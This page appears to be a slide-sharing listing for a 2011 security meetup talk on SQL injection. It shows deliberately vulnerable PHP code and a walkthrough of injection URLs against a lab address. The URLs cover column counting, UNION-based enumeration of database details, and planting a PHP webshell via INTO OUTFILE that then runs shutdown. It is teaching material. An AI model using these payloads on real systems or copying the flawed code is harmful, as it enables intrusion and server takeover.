SQL Injection Part 2
•Als PPTX, PDF herunterladen•
2 gefällt mir•1,046 views
SQL Injection Part 2 by K.V.Prashant @ null Banglore Meet, August 2011
![Vulnerable Sql Injection code <?php $id=$_GET["id"]; $con = mysql_connect("localhost","root","prashant"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("prashant", $con); $query= "SELECT * FROM user where id=$id "; echo "<h1>".$query. "</h1>"; $result = mysql_query($query); while($row = mysql_fetch_array($result)) { echo $row['id'] . " " . $row['name']; echo "<br />"; } mysql_close($con); ?>](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
Empfohlen
Weitere ähnliche Inhalte
Was ist angesagt?
Was ist angesagt? (20)
Ähnlich wie SQL Injection Part 2
Ähnlich wie SQL Injection Part 2 (20)
Mehr von n|u - The Open Security Community
Mehr von n|u - The Open Security Community (20)
Kürzlich hochgeladen
Kürzlich hochgeladen (20)
SQL Injection Part 2
- 1. k.v.prashant SQL Injection Tricks
- 2. Vulnerable Sql Injection code <?php $id=$_GET["id"]; $con = mysql_connect("localhost","root","prashant"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("prashant", $con); $query= "SELECT * FROM user where id=$id "; echo "<h1>".$query. "</h1>"; $result = mysql_query($query); while($row = mysql_fetch_array($result)) { echo $row['id'] . " " . $row['name']; echo "<br />"; } mysql_close($con); ?>
- 3. Attacking vulnerability Finding the number of columns http://192.168.0.101/xampp/one.php?id=1 order by 2,3…(give each number one by one) If you get an error message for order by 3 that means there are 2 columns been used in select query.
- 4. Enumerating data Below query should show actual data as well as 1, 2 http://192.168.0.101/xampp/one.php?id=1 union select 1,2 from information_schema.schema_privileges— Trying removing the actual data to see data like id=-1 will not have any data to be returned so it will only show join query data http://192.168.0.101/xampp/one.php?id=1 union select 1,2 from information_schema.schema_privileges—
- 5. Enumerating data 1. database version http://192.168.0.101/xampp/one.php?id=1 union select @@version ,2 from information_schema.schema_privileges-- 2. system_user() http://192.168.0.101/xampp/one.php?id=1 union select system_user() ,2 from information_schema.schema_privileges-- 3. table_names http://192.168.0.101/xampp/one.php?id=1 union select table_name ,2 from information_schema.columns-- 4. databases names http://192.168.0.101/xampp/one.php?id=1 union select table_schema ,2 from information_schema.columns--
- 6. Creating backdoor 1. for creating a webshell “c.php” file http://192.168.0.101/xampp/one.php?id=-1 UNION SELECT "<? system($_REQUEST['cmd']); ?>", 2 INTO OUTFILE "e:/xampp/htdocs/xampp/c.php" -- 2. Exploiting using webshell http://192.168.0.101/xampp/c.php?cmd=shutdown.exe /s
- 7. Thank You